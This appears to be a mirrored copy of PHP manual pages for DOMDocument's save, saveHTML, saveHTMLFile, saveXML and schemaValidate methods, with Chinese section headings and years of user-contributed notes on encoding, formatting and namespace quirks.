dubois-holvoet dot patrick at neuf dot fr 25-Feb-2016 08:13
I just intend to bring my little contribution to the use of DOMDocument::save() function along with PHP serialize() function.

Sometimes you could have to serialize a PHP object before you put it into a XML structure (or other..). And then I suppose you could have to save this XML structure in a file. Of course, you will further need to read this file and unserialize it before to use its content.

The problem appears when there are some properties described as Protected in the object to be serialized.

As it's written in the PHP documentation, serialize function add for those protected properties an asterisk before the name of the property along with a NULL character on each side of the asterisk.
In this case, the DOMDocument::save function will stop the save operation just before the first NULL character met in the string to be saved, because PHP consider it as a potential risk.
So, after that, the unserialize operation of the file become impossible.

To solve that, here is a first solution to apply :

For the serialize , before the DOMDocument::save() ::
$data_serial = explode("\x00\x2A\x00", serialize($object));  //take off the 'NULL * NULL' string
$data_serial = implode("\x5C\x30\x2A\x5C\x30", $data_serial);    //and replace with '\0*\0' string

Before the unserialize :
$data_serial = explode("\x5C\x30\x2A\x5C\x30", $serialized_object);    // take off the '\0*\0' string
$serial_object = implode("\x00\x2A\x00", $data_serial);      // and replace with 'NULL * NULL' string as included by the previous serialize

And a second solution :

For the serialize, before the DOMDocument::save() :
$serialized_object = addslashes(serialize($object)) ;

Before re-using the object in your application :
$object = unserialize(stripslashes($serialized_object)) ;

Hope this will help some.
ludvig at ergopedia dot no 31-Oct-2014 10:21
When creating a DOMDocument from scratch and saving it, the encoding will be utf-8, although it's declared as iso-8859-1.

When loading an XML-file declared and saved as iso-8859-1, php will keep the correct encoding when it's saved after changes are made.

Php converts files declared as iso-8859-1 to utf-8 internally. To add text containing special characters, the text must be encoded as utf-8. When the document is saved, special characters are converted to iso-8859-1.

To save an xml created from scratch, use fopen/fwrite and utf8_decode:

   $doc = new DOMDocument('1.0', 'iso-8859-1');

//Add som nodes and text with apropriate methods

   $f = fopen('xmlfile.xml', 'w+');
   fwrite($f, utf8_decode($doc->saveXML()));
   fclose($f);
john at johnreid dot it 06-Aug-2013 09:42
I had been hitting my head against the wall when I couldn't get an edited XML file to save due to file permissions, even though I knew that it was OK.

Eventually I realised that for some odd reason, when I went to save the XML file, it would try to write the file to the root directory.

As such, use realpath() to keep the complete system path to the XML file when you load it:

<?php
$myfile = 'myxml.xml';
$myfile = realpath($myfile);
$doc = new DOMDocument('1.0');
$doc->load($myfile);

// Let's just add a couple of elements for good measure
$root = $doc->documentElement;

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is a title');
$text = $title->appendChild($text);

$doc->save($myfile);
?>
ss at littlerain dot com 01-Feb-2009 12:05
In addition to:
DOMDocument->formatOutput = true
DOMDocument->preserveWhiteSpace = false

...you also have to ensure you don't add text nodes as siblings of element nodes, or formatOutput won't work.
chenel324 at gmail dot com 19-Oct-2008 06:38
It took me forever to discover that
DOMDocument->formatOutput = true
will only have an effect on documents that are loaded from disk if one also sets
DOMDocument->preserveWhiteSpace = false ....

Hope this saves somebody a headache.
siegparr at NOSPAM dot web dot de 07-Jul-2006 08:00
The XML parser converts the text of an XML document into UTF-8, even if you have set the character encoding of the XML, for example as a second parameter of the DOMDocument constructor. After parsing the XML with the load() command all its texts have been converted to UTF-8.

In case you append text nodes with special characters (e. g. Umlaut) to your XML document you should therefore use utf8_encode() with your text to convert it into UTF-8 before you append the text to the document. Otherwise you will get an error message like "output conversion failed due to conv error" at the save() command. See example below:

<?php
// Text to insert into XML below
$txt = "a text with special characters like '?', '?', 'ü' etc.";

// Create Instance of DOMDocument
$dom =  new DOMDocument;
// Load XML file
// Was created before with DOMDocument('1.0', 'iso-8859-1')
$dom = $dom->load("file.xml");
// Find the parent node
$parent = $dom->documentElement;
// Create Instance of DomXPath
$xpath = new DomXPath($dom);
// new node will be inserted before this node
$next = $xpath->query("//parentnode/childnode");
// Create the new element
$new_elem = $dom->createElement('new_elem');
// Insert the new element
$parent->insertBefore($new_elem, $next->item(0));
// DOMXML = utf-8! (will be converted to iso-8859-1 only at 'save()')
// prevents error message "output conversion failed due to conv error" at 'save()'
$txt = utf8_encode($txt);
// Create new text node with utf-8 encoded string
$nodetext = $dom->createTextNode("$txt");
// Append text node to new element
$nodetext = $new_elem->appendChild($nodetext);
// save
$dom->save("file.xml");
?>

Hope this helps someone.

siegparr


Dumps the internal document into a string using HTML formatting

  • ? DOMDocument::save
  • DOMDocument::saveHTMLFile ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal document into a string using HTML formatting

DOMDocument::saveHTML

(PHP 5, PHP 7, PHP 8)

DOMDocument::saveHTML — Dumps the internal document into a string using HTML formatting

说明

public DOMDocument::saveHTML(?DOMNode $node = null): string|false

Creates an HTML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

node

Optional parameter to output a subset of the document.

返回值

Returns the HTML, or false if an error occurred.

示例

Example #1 Saving a HTML tree into a string

<?php

$doc = new DOMDocument('1.0');

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo $doc->saveHTML();

?>

参见

  • DOMDocument::saveHTMLFile() - Dumps the internal document into a file using HTML formatting
  • DOMDocument::loadHTML() - Load HTML from a string
  • DOMDocument::loadHTMLFile() - Load HTML from a file

User Contributed Notes

jeboy 28-Sep-2017 02:57
LIBXML_HTML_NOIMPLIED doesn't work on PHP 7.1.9 with libxml2-2.7.8
sasha @ goldnet dot ca 27-Jul-2017 04:21
When saving HTML fragment initiated with LIBXML_HTML_NOIMPLIED option, it will end up being "broken" as libxml requires root element. libxml will attempt to fix the fragment by adding closing tag at the end of string based on the first opened tag it encounters in the fragment.

For an example:

<h1>Foo</h1><p>bar</p>

will end up as:

<h1>Foo<p>bar</p></h1>

Easiest workaround is adding root tag yourself and stripping it later:

$html->loadHTML('<html>' . $content .'</html>', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

$content = str_replace(array('<html>','</html>') , '' , $html->saveHTML());
contact at cathexis dot de 31-Aug-2016 10:41
If you load HTML from a string ensure the charset is set.

<?php
...
$html_src = '<html><head><meta content="text/html; CHARSET=gb2312" http-equiv="Content-Type"></head><body>';
$html_src .= '...';
...
?>

Otherwise the charset will be ISO-8859-1!
tomas dot strejcek at ghn dot cz 20-Aug-2016 12:34
As of PHP 5.4 and Libxml 2.6, there is currently simpler approach:

when you load html as this

$html->loadHTML($content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

in the output, there will be no doctype, html or body tags
Anonymous 11-Dec-2015 03:38
To solve the script tag problem just add an empty text node to the script node and DOMDocument will render <script src="your.js"></script> nicely.
qrworld.net 11-Nov-2014 04:34
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
Anonymous 09-Feb-2010 07:52
If you want a simpler way to get around the <script> tag problem try:

<?php

  $script = $doc->createElement ('script');\
  // Creating an empty text node forces <script></script>
  $script->appendChild ($doc->createTextNode (''));
  $head->appendChild ($script);

?>
Anonymous 12-May-2009 07:35
To avoid script tags from being output as <script />, you can use the DOMDocumentFragment class:

<?php

$doc = new DOMDocument();
$doc -> loadXML($xmlstring);
$fragment = $doc->createDocumentFragment();
/* Append the script element to the fragment using raw XML strings (will be preserved in their raw form) and if succesful proceed to insert it in the DOM tree */
if($fragment->appendXML("<script type='text/javascript' src='$source'></script>") {
  $xpath = new DOMXpath($doc);
  $resultlist = $xpath->query("//*[local-name() = 'html']/*[local-name() = 'head']"); /* namespace-safe method to find all head elements which are childs of the html element, should only return 1 match */
  foreach($resultlist as $headnode)  // insert the script tag
     $headnode->appendChild($fragment);
}
$doc->saveXML(); /* and our script tags will still be <script></script> */

?>
Anonymous 25-Apr-2008 08:15
<?php
function getDOMString($retNode) {
  if (!$retNode) return null;
  $retval = strtr($retNode-->ownerDocument->saveXML($retNode),
  array(
    '></area>' => ' />',
    '></base>' => ' />',
    '></basefont>' => ' />',
    '></br>' => ' />',
    '></col>' => ' />',
    '></frame>' => ' />',
    '></hr>' => ' />',
    '></img>' => ' />',
    '></input>' => ' />',
    '></isindex>' => ' />',
    '></link>' => ' />',
    '></meta>' => ' />',
    '></param>' => ' />',
    'default:' => '',
    // sometimes, you have to decode entities too...
    '&quot;' => '&#34;',
    '&amp;' =>  '&#38;',
    '&apos;' => '&#39;',
    '&lt;' =>   '&#60;',
    '&gt;' =>   '&#62;',
    '&nbsp;' => '&#160;',
    '&copy;' => '&#169;',
    '&laquo;' => '&#171;',
    '&reg;' =>   '&#174;',
    '&raquo;' => '&#187;',
    '&trade;' => '&#8482;'
  ));
  return $retval;
}
?>
archanglmr at yahoo dot com 27-Nov-2007 03:28
If created your DOMDocument object using loadHTML() (where the source is from another site) and want to pass your changes back to the browser you should make sure the HTTP Content-Type header matches your meta content-type tags value because modern browsers seem to ignore the meta tag and trust just the HTTP header. For example if you're reading an ISO-8859-1 document and your web server is claiming UTF-8 you need to correct it using the header() function.

<?php
header('Content-Type: text/html; charset=iso-8859-1');
?>
xoplqox 20-Nov-2007 11:07
XHTML:

If the output is XHTML use the function saveXML().

Output example for saveHTML:

<select name="pet" size="3" multiple>
    <option selected>mouse</option>
    <option>bird</option>
    <option>cat</option>
</select>

XHTML conform output using saveXML:

<select name="pet" size="3" multiple="multiple">
    <option selected="selected">mouse</option>
    <option>bird</option>
    <option>cat</option>
</select>
tyson at clugg dot net 21-Apr-2005 05:44
<?php
// Using DOM to fix sloppy HTML.
// An example by Tyson Clugg <tyson@clugg.net>
//
// vim: syntax=php expandtab tabstop=2

function tidyHTML($buffer)
{
  // load our document into a DOM object
  $dom = @DOMDocument::loadHTML($buffer);
  // we want nice output
  $dom->formatOutput = true;
  return($dom->saveHTML());
}

// start output buffering, using our nice
// callback funtion to format the output.
ob_start("tidyHTML");

?>
<html>
<p>It's like comparing apples to oranges.
</html>
<?php

// this will be called implicitly, but we'll
// call it manually to illustrate the point.
ob_end_flush();

?>

The above code takes out sloppy HTML:
 <html>
 <p>It's like comparing apples to oranges.
 </html>

And cleans it up to the following:
 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
 <html><body><p>It's like comparing apples to oranges.
 </p></body></html>


Dumps the internal document into a file using HTML formatting

  • ? DOMDocument::saveHTML
  • DOMDocument::saveXML ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal document into a file using HTML formatting

DOMDocument::saveHTMLFile

(PHP 5, PHP 7, PHP 8)

DOMDocument::saveHTMLFile — Dumps the internal document into a file using HTML formatting

说明

public DOMDocument::saveHTMLFile(string $filename): int|false

Creates an HTML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

filename

The path to the saved HTML document.

返回值

Returns the number of bytes written or false if an error occurred.

示例

Example #1 Saving a HTML tree into a file

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo 'Wrote: ' . $doc->saveHTMLFile("/tmp/test.html") . ' bytes'; // Wrote: 129 bytes

?>

参见

  • DOMDocument::saveHTML() - Dumps the internal document into a string using HTML formatting
  • DOMDocument::loadHTML() - Load HTML from a string
  • DOMDocument::loadHTMLFile() - Load HTML from a file

User Contributed Notes

RiKdnUA at mail dot ru 27-Jul-2013 04:15
saveHTMLFile() always saves the file in UTF-8. Even if the DOMDocument->encoding explicitly prescribe different from UTF-8 encoding. All "non-Latin" characters will be converted to HTML-entities. Tested in PHP 5.2.9-2 and PHP 5.2.17. Example:

<?php
$document=new domDocument('1.0', 'WINDOWS-1251');
$document->loadHTML('<html><head><title>Russian language</title></head><body>Русский язык</body></html>');
$document->formatOutput=true;
$document->encoding='WINDOWS-1251';
echo "Записано байт. Recorded bytes: ".$document->saveHTMLFile('html.html');
?>

Method recorded file in UTF-8 encoding. The contents of the file html.html:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312">
<title>Russian language</title>
</head>
<body>Dó??êèé ???ê</body>
</html>
naebeth at hotmail dot NOSPAM dot com 24-Sep-2012 10:03
Not mentioned in the documentation is the fact that using DOMDocument::saveHTMLFile() will automatically overwrite the contents if an existing file is used - with no notice, warning or error thrown.

Make sure you check the filename before using this function so that you don't accidentally overwrite important files.

Example:
<?php

$file = fopen('test.html', 'w');
fwrite($file, 'this is some text');
fclose($file);

$doc = new DOMDocument();
$doc->formatOutput = true;
$doc->loadHTML('<html><head><title>Test</title></head><body></body></html>');
$doc->saveHTMLFile('test.html');

// test.html
/*
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312">
<title>Test</title>
</head>
<body></body>
</html>
*/

?>

If you're dynamically generating a series of pages using DOMDocument objects, make sure you are also dynamically generating the file or directory names using something that can't easily be confused for an existing file/folder, or check if the desired path already exists before saving so that you don't accidentally delete previous files.
deep42thouSPAMght42 at y_a_h_o_o dot com 14-Jan-2011 03:46
I foolishly assumed that this function was equivalent to
<?php
file_put_contents($filename, $document->saveHTML());
?>
but there are differences in the generated HTML:
<?php
$doc = new DOMDocument();
$doc->loadHTML(
    '<html><head><title>Test</title></head><body></body></html>'
);
$doc->encoding = 'iso-8859-1';

echo $doc->saveHTML();
#<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
#<html>
#<head><title>Test</title></head>
#<body></body>
#</html>

$doc->saveHTMLFile('output.html');
#<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
#<html><head><meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312"><title>Test</title></head><body></body></html>

?>
Note that saveHTMLFile() adds a UTF-8 meta tag despite the ISO-8859-1 document encoding.


Dumps the internal XML tree back into a string

  • ? DOMDocument::saveHTMLFile
  • DOMDocument::schemaValidate ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal XML tree back into a string

DOMDocument::saveXML

(PHP 5, PHP 7, PHP 8)

DOMDocument::saveXML — Dumps the internal XML tree back into a string

说明

public DOMDocument::saveXML(?DOMNode $node = null, int $options = 0): string|false

Creates an XML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

node

Use this parameter to output only a specific node without XML declaration rather than the entire document.

options

Additional Options. The LIBXML_NOEMPTYTAG and LIBXML_NOXMLDECL options are supported. Prior to PHP 8.3.0, only the LIBXML_NOEMPTYTAG option is supported.

返回值

Returns the XML, or false if an error occurred.

错误／异常

DOM_WRONG_DOCUMENT_ERR

Raised if node is from another document.

更新日志

版本 | 说明
8.3.0 | LIBXML_NOXMLDECL is now supported.

示例

Example #1 Saving a DOM tree into a string

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo "Saving all the document:\n";
echo $doc->saveXML() . "\n";

echo "Saving only the title part:\n";
echo $doc->saveXML($title);

?>

以上示例会输出：

Saving all the document:
<?xml version="1.0"?>
<book>
  <title>This is the title</title>
</book>

Saving only the title part:
<title>This is the title</title>

参见

  • DOMDocument::save() - Dumps the internal XML tree back into a file
  • DOMDocument::load() - Load XML from a file
  • DOMDocument::loadXML() - Load XML from a string

User Contributed Notes

liumenglei0211 at 163 dot com 17-Jan-2019 07:50
How to display two tags when the node content is empty.

<?php
$dom     = new \DOMDocument('1.0');
$document = $dom->createElement('document');
$document = $dom->appendChild($document);
$head = $dom->createElement('title','this is title');
$content = $dom->createElement('content','');
$document->appendChild($head);
$document->appendChild($content);
echo $dom->saveXML();
?>

In XML, they are considered exactly the same thing, and any parser should recognize both forms.However, you can write it this way if you still need it

<?php
echo $dom->saveXML($dom->documentElement, LIBXML_NOEMPTYTAG);
?>

Example 1：

<?xml version="1.0"?>
<document>
    <title>this is title</title>
    <content/>
</document>

Example 2：
<document>
    <title>this is test</title>
    <content></content>
</document>
Frank 29-Mar-2017 06:40
I would like to create a DOM document Xml Guestbook ..can somebody help to me?

Username, Comments in form read/write the task.

Thanks if somebody save me :)
Alexander Fedulin 05-Mar-2014 08:29
As @fbernodi said earlier, there is a problem with saveXML of DOMNode when you have a number of defined namespaces. The simple solution for this:

<code>
   // $node is some node of some other document
   $temp_document = new DOMDocument('1.0', 'utf-8');
   $temp_document->appendChild($temp_document->importNode($node, true));
   echo $temp_document->saveXML();
</code>
fbernoldi at gmail dot com 01-Aug-2013 08:24
Hello,

I had an unexpected behavior in some parsing code, because of this saveXML method that is saving the tags without namespace specification. If you try to load into a DOMDocument a string saved from a DOMNode that has a referenced namespace but it the original document it was not defined in that element, you get a not well formed xml. In the example you can see the issue and a possible solution, the other solution may be add to the ChildElement node the namespace reference (<testNS:ChildElement testNS="http://example.org">), but in my scenario it was not needed.

<?php

//Test XML
$test_xml =
"<?xml version=\"1.0\"?>
<testNS:RootNode xmlns:testNS=\"http://example.org\">
    <testNS:ChildElement>
        <testNS:AnotherChildElement>I'm a Another Child node.</testNS:AnotherChildElement>
    </testNS:ChildElement>
</testNS:RootNode>";

//We define our Test DOMDocument
$domDoc = new DOMDocument("1.0");
$domDoc->loadXML($test_xml);

//We use xpath to search ChildElement:
$domXPath = new DOMXPath($domDoc);
$domXPath->registerNamespace("testNS", "http://example.org");
$DOMNodeList_ChildElement = $domXPath->query("//testNS:RootNode/testNS:ChildElement");
$ChildElement = $DOMNodeList_ChildElement->item(0);

echo "Not usefull xml to load in another document:\n\n";
echo $domDoc->saveXML($ChildElement);

/* Output here:
 *
 * Not usefull xml to load in another document:
 *
 *  <testNS:ChildElement>
 *        <testNS:AnotherChildElement>I'm a Another Child node.</testNS:AnotherChildElement>
 *    </testNS:ChildElement>
 *
 */

/**
 * Function to help us clone the element to another document.
 * @param DOMElement $node The node to clone.
 * @param DOMDocument $doc The document where we are going to reference the elements.
 * @return DOMElement The new cloned element without namespace.
 */
function cloneNode($node, $doc) {
    //Create new element with the original localName (w/o namespace)
    $nd = $doc->createElement($node->localName);

    //Clone attributes
    foreach($node->attributes as $value)
        $nd->setAttribute($value->localName, $value->value);

    //No more childs then we finish.
    if (!$node->childNodes)
        return $nd;
    //We have childs, add them
    foreach($node->childNodes as $child) {
        if ($child->nodeName=="#text") //Only needed to clone text nodes, i.e. text comments, spaces, tabs. etc.
            $nd->appendChild($doc->createTextNode($child->nodeValue));
        else
            $nd->appendChild(cloneNode($child, $doc)); //recursion to clone all children.
    }
    return $nd;
}

//New Document to reference the new node without namespaces
$domDoc2 = new DOMDocument("1.0");

//We clone this node taking out the namespace
$new_node = cloneNode($ChildElement, $domDoc2);

echo "\n\nWe can load this into a DOMDocument without problems:\n\n";
echo $domDoc2->saveXML($new_node);

/*
 * We can load this into a DOMDocument without problems:
 *
 *    <ChildElement>
 *        <AnotherChildElement>I'm a Another Child node.</AnotherChildElement>
 *    </ChildElement>
 */

?>
xianrenb at gmail dot com 15-Jul-2012 10:54
If you want to save xhtml (in a string), you may try the following method:
<?php
    $doc = new DOMDocument('1.0');

    // ...

    $xhtml = (string) $doc->saveXML($doc->doctype);
    $xhtml .= "\n";
    $xhtml .= (string) $doc->saveXML($doc->documentElement);
?>
samstah at gmail dot com 19-Mar-2010 03:56
We discovered using DOMDocument::saveHTML() that it converts to HTML 4.01 compatible markup; rather than XHTML. The simple answer is to use saveXML() instead, although this adds the XML declaration to the top.

To qjerry.com at gmail.com, thanks for the pointer below - but I think that the simplest way seems to be using:
<?php $domDocument->saveXML($domDocument->documentElement); ?>

Of course, if you're dealing with XHTML, this will strip any <!DOCTYPE> declarations in the document too.
qjerry.com at gmail.com 04-May-2009 04:24
The simpliest (and probably the fastest) way to strip an XML declaration (<?xml version="1.0" ... ?>) out of output document, is to output child nodes of DOMDocument separately:

<?php

$document = new DOMDocument();
$document->load('/some/file.xml');

// this will also output doctype and comments at top level
foreach($document->childNodes as $node)
    $result .= $document->saveXML($node)."\n";

echo $result;

?>

This might be userful when dealing with browser compatibility issues, for example, well known problem with valid XHTML in IE6.
vikramvmalhotra at hotmail dot com 27-Jan-2009 03:49
if you are storing multi-byte characters in XML, then saving the XML using saveXML() will create problems. It will spit out the characters converted in encoded format.

<?php
$str = domdoc->saveXML(); // gives "&x#1245;" some encoded data
?>

Instead do the following

<?php
$str = domdoc->saveXML(domdoc->documentElement); // gives "保存しました" correct multi-byte data
?>
shinsh at shinmugen dot net 23-May-2008 07:57
Be careful, this function has been changed in 5.2.6 version. Adding a required parameter which is not that required wasn't the most intelligent idea ever, especially for a function which is often used.

To fix your programs if you have an error, fill the first parameter like this:

$dom->saveXML($dom->documentElement);

Why didn't the devs simply implement this as optional parameter, fixing the default parameter as documentElement?
Kriogen 26-Dec-2007 12:57
Create before test.xml with:
<?xml version="1.0" encoding="utf-8"?>
<Photos>
</Photos>

and past after in your php-file:

<?php
$simp = simplexml_load_file('test.xml');
$node = $simp->addChild('home');
$node->addChild('mychild', 'insert text');
$s = simplexml_import_dom($simp);
$s->saveXML('test.xml');
?>

This code creating a child-nod in the root.
Owner http://www.mensfashion.ru
JITR 02-Aug-2007 05:10
Comment to `devin at SPAMISBAD dot tritarget dot com''s post:

Thanks for pointing out the pitfalls of `formatOutput' vs. `load*()'. This has certainly saved me from some possible surprises.

I think the seemingly strange behaviour can be explained. Warning: The following stuff is mostly based on deductions and experiments. Much less on studying the sources and specs (I'm not sure some of these would provide answer anyway, at least not easily).

As you point out, `preserveWhiteSpace' must be set before loading the DOM from the source string (I'm working with `loadXML()' but I believe the situation should be the same with `load()' you used). This looks logical, as this property seems to control the parsing and DOM creation process during which text nodes containing the whitespace are either included or dropped. This can be proven by dumping the DOM structure and comparing the results based on the value of `preserveWhiteSpace'. With `preserveWhiteSpace' set to `FALSE', no text nodes containing whitespace will be present in the returned DOM. When this property is `TRUE', these nodes will be present.

Note: When speaking about the whitespace in the previous paragraph, we're most certainly speaking about so called `whitespace in element content' or `element content whitespace', if I'm not mistaken. See also my comment in the notes of `DOMText->isWhitespaceInElementContent()' method.

As for the mysterious effect on the output of `saveXLM()', I think the explanation lies in the presence or absence of the above mentioned whitespace text nodes. This was also proven by experiments: After adding such a node into a DOM which contained none (the DOM was created using `loadXML()' with `preserveWhiteSpace' set to `FALSE'), the output formatting got affected in a such a way, the formatting got lost for the rest of the document after the added node. I think the presence of whitespace text nodes forces such rendering, that the content of these nodes is used to separate adjoining nodes thus disabling default formatting. Only when there are no such text nodes present, the ouput formatting takes effect (provided the `formatOutput' is set to `TRUE', of course).

Well, the thing I don't really understand is how you did get an output of a signle line with `formatOutput' set to `TRUE'. This has happened to me when no whitespace text nodes were present (ie. when loading the XML with `preserveWhiteSpace' set to `FALSE') *and* with `formatOutput' set to *`FALSE'* (with the opposite value of `formatOutput', the formatting should do it's work and you should not end up with just one line). But I haven't seen your source. Perhaps you had whitespace nodes containing no new-lines in your DOM?

As for the CAUTION about root element, I didn't see any problems with empty root element neither in shortened nor full form. What did you have in mind, when you said it `WORKS' or `DOES NOT WORK'?
Sander 25-Apr-2007 05:35
Note that for large DOM trees (tens of thousands of elements nested at least a few levels deep), setting formatOutput to true drives up memory usage to rather insane levels when you call saveXML(). (Tested with PHP 5.2.1) Pretty output is not worth that cost.
nevyn at NOSPAM dot email dot PLEASE dot it 27-Dec-2006 01:41
A little function to get the full xml contents of a Xml node.

function innerXml($node)
{
    $out = $node->ownerDocument->saveXML($node);
    $re = "{^<(\\w*)(?:\\s*\\w+=(?:\"[^\"]*\"|\'[^\']*\'))*\\s*>(.*)</\\1>$}";
    preg_match($re, $out, $mat);
    return $mat[2];
}
devin at SPAMISBAD dot tritarget dot com 14-Aug-2006 10:52
It took some searching to figure this one out. I didn't see much in the way of explaining this glitch in the manual thus far. (For PHP5 I believe)

formatOutput = true; appears to fail when the origin of the DOM came from a file via load(). EX:

<?php
    $dom = new DOMDocument();
    $dom->load ("test.xml");
    $dom->formatOutput = true;

    $new_tag = $dom->createElement ('testNode');
    $new_tag->appendChild (
        $dom->createElement ('test', 'this is a test'));
    $dom->documentElement->appendChild ($new_tag);

    printf ("<pre>%s</pre>", htmlentities ($dom->saveXML()));
?>

Will not indent the output and will display the modified nodes all in one long line. Makes for editing a config.xml a bit difficult when saving to a file.

By adding the preserveWhiteSpace = false; BEFORE the load() the formatOutput works as expected. EX:

<?php
    $dom = new DOMDocument();
    $dom->preserveWhiteSpace = false;
    $dom->load ("test.xml");
    $dom->formatOutput = true;

    $new_tag = $dom->createElement ('testNode');
    $new_tag->appendChild (
        $dom->createElement ('test', 'this is a test'));
    $dom->documentElement->appendChild ($new_tag);

    printf ("<pre>%s</pre>", htmlentities ($dom->saveXML()));
?>

CAUTION: If your loaded xml file (test.xml) has an empty root node that is not shortened or has no children this will NOT work.

Example:

DOES NOT WORK:
<?xml version="1.0"?>
<root>
</root>

WORKS:
<?xml version="1.0"?>
<root/>

WORKS:
<?xml version="1.0"?>
<root>
  <!-- comment -->
</root>

WORKS:
<?xml version="1.0"?>
<root>
  <child/>
</root>
26-Mar-2006 04:20
I used the function posted by "joe" but the following works to me for get the innerXML
<?php
$itemLeido = $XMLRespuesta->getElementsByTagName("articulos");
foreach($itemLeido as $node) {
    echo($node->ownerDocument->saveXML($node));
}
?>
mswiercz at mwerk dot com 10-Sep-2004 03:43
Quick tip to minimize memory when generating documents with DOM.

Rather than using
   $xmlStr = DOMDocument->saveXML();
   echo $xmlStr;

to dump a large DOM to the output buffer, use a PHP output stream, as in

   DOMDocument->save('php://output');

A lot of memory will be saved when generating large DOMs.
padys at tlen dot pl 05-Aug-2004 07:36
When you save whole document:
DOMDocument->saveXML() produces string in encoding defined in property DOMDocument->encoding.

When you save only one node:
DOMDocument->saveXML(DOMNode) produces always string in UTF-8.


Validates a document based on a schema. Only XML Schema 1.0 is supported.

  • ? DOMDocument::saveXML
  • DOMDocument::schemaValidateSource ?
  • PHP Manual
  • DOMDocument
  • Validates a document based on a schema. Only XML Schema 1.0 is supported.

DOMDocument::schemaValidate

(PHP 5, PHP 7, PHP 8)

DOMDocument::schemaValidate — Validates a document based on a schema. Only XML Schema 1.0 is supported.

说明

public DOMDocument::schemaValidate(string $filename, int $flags = 0): bool

Validates a document based on the given schema file.

参数

filename

The path to the schema.

flags

A bitmask of Libxml schema validation flags. Currently the only supported value is LIBXML_SCHEMA_CREATE. Available since Libxml 2.6.14.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

mmamsch at googlemail dot com 16-Sep-2015 10:01
A note for people trying to validate complex schemas with PHP.  It seems that libxml will not automatically try to import referenced schemas, but simply skip the validation if the schemas were not explicitly imported.

In our example we tried to validate an XML file against a schema with the namespace "xttp://automotive-his.de/200706/rif" that contains a reference to the namespace "xttp://automotive-his.de/200706/rif-xhtml":

  <xsd:complexType name="XHTML-CONTENT">
    <xsd:sequence>
      <xsd:any namespace="xttp://automotive-his.de/200706/rif-xhtml"/>
    </xsd:sequence>
  </xsd:complexType>

which basically says that an xhtml-content element can contain any element from the rif-xhtml namespace.

However since libxml does not know where to find the schema file, it will stop the validation if the elements from the referenced namespace, passing also document with invalid xhtml content as valid.

The solution was to create a combined schema, which contains import statements for all files matching the referenced schemas:

<xsd:schema xmlns:xs="xttp://www.w3.org/2001/XMLSchema">
<xs:import namespace="xttp://automotive-his.de/200706/rif-xhtml" schemaLocation="rif-xhtml.xsd"/>
<xs:import namespace="xttp://automotive-his.de/200706/rif" schemaLocation="rif.xsd"/>
<xs:import namespace="xttp://www.w3.org/XML/1998/namespace" schemaLocation="../xml.xsd"/>
</xsd:schema>

Note that the schemaLocation tells the validator, where to find the files for the corresponding namespaces. When validating the XML document against this combined schema, libxml validated correctly the content inside the XHTML-Content.

Hope this helps someone out there.
wkoehler at ce-gmbh dot com 11-Jan-2011 02:37
In older versions of PHP5 this function might cause error messages when dealing with namespaces. I had problems with PHP 5.2.14 which comes with libXML V2.6.16. After switching to PHP 5.3.5 with libXML V2.7.7 I no longer had problems. Took me only about 30 hrs to figure that one out.
NetPanther 27-Mar-2009 01:42
Initial situation:
- Debian Lenny
- Apache 2 with PHP 5.2.6
- libxml 2.6.32

Problem: While trying to validate a manually created (!) DOMDocument against an existing XML Schema, I ran into a warning like the one below. Validation fails, even though the document IS valid and the command line tool xmllint confirms this (even with libxml 2.6.32, so this must be a problem with DOM). The validation works fine with libxml 2.7.3.

Warning: DOMDocument::schemaValidate() [domdocument.schemavalidate]: Element 'YourRootElementName': No matching global declaration available for the validation root. in /var/www/YourFile.php on line X

